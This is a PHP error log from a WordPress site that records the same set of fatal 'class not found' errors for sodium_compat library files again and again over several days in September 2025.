[06-Sep-2025 02:04:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Sep-2025 02:04:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[06-Sep-2025 02:04:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Sep-2025 02:04:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Sep-2025 02:04:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Sep-2025 02:04:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[09-Sep-2025 17:45:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[09-Sep-2025 17:45:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[09-Sep-2025 17:45:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[09-Sep-2025 17:45:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[09-Sep-2025 17:45:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[09-Sep-2025 17:46:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[09-Sep-2025 17:46:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[09-Sep-2025 17:46:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[09-Sep-2025 17:46:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[09-Sep-2025 17:46:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[09-Sep-2025 17:46:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[09-Sep-2025 17:46:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[09-Sep-2025 17:46:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[09-Sep-2025 17:46:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[09-Sep-2025 17:46:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[09-Sep-2025 17:46:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[09-Sep-2025 17:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[09-Sep-2025 17:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[09-Sep-2025 17:56:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[09-Sep-2025 17:56:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[09-Sep-2025 17:56:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[09-Sep-2025 17:56:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[09-Sep-2025 17:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[09-Sep-2025 17:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[09-Sep-2025 17:57:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[09-Sep-2025 17:57:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[09-Sep-2025 17:57:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[09-Sep-2025 17:57:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[09-Sep-2025 17:57:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[09-Sep-2025 17:57:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[09-Sep-2025 17:57:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[09-Sep-2025 17:57:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-Sep-2025 15:09:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Sep-2025 15:09:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Sep-2025 15:09:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Sep-2025 15:09:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Sep-2025 15:09:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Sep-2025 15:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Sep-2025 15:09:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Sep-2025 15:09:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Sep-2025 15:09:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Sep-2025 15:09:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Sep-2025 15:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Sep-2025 15:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Sep-2025 15:09:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Sep-2025 15:09:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Sep-2025 15:09:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-Sep-2025 15:09:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-Sep-2025 15:17:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Sep-2025 15:17:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Sep-2025 15:17:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Sep-2025 15:18:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Sep-2025 15:18:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Sep-2025 15:18:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Sep-2025 15:18:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Sep-2025 15:18:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Sep-2025 15:18:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Sep-2025 15:18:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Sep-2025 15:18:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Sep-2025 15:18:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Sep-2025 15:18:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Sep-2025 15:18:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Sep-2025 15:18:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-Sep-2025 15:18:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[18-Sep-2025 17:16:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[18-Sep-2025 17:16:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[18-Sep-2025 17:16:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[18-Sep-2025 17:16:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[18-Sep-2025 17:16:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[18-Sep-2025 17:16:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[18-Sep-2025 17:16:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[18-Sep-2025 17:17:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[18-Sep-2025 17:17:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[18-Sep-2025 17:17:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[18-Sep-2025 17:17:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[18-Sep-2025 17:17:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[18-Sep-2025 17:17:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[18-Sep-2025 17:17:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[18-Sep-2025 17:17:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[18-Sep-2025 17:17:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
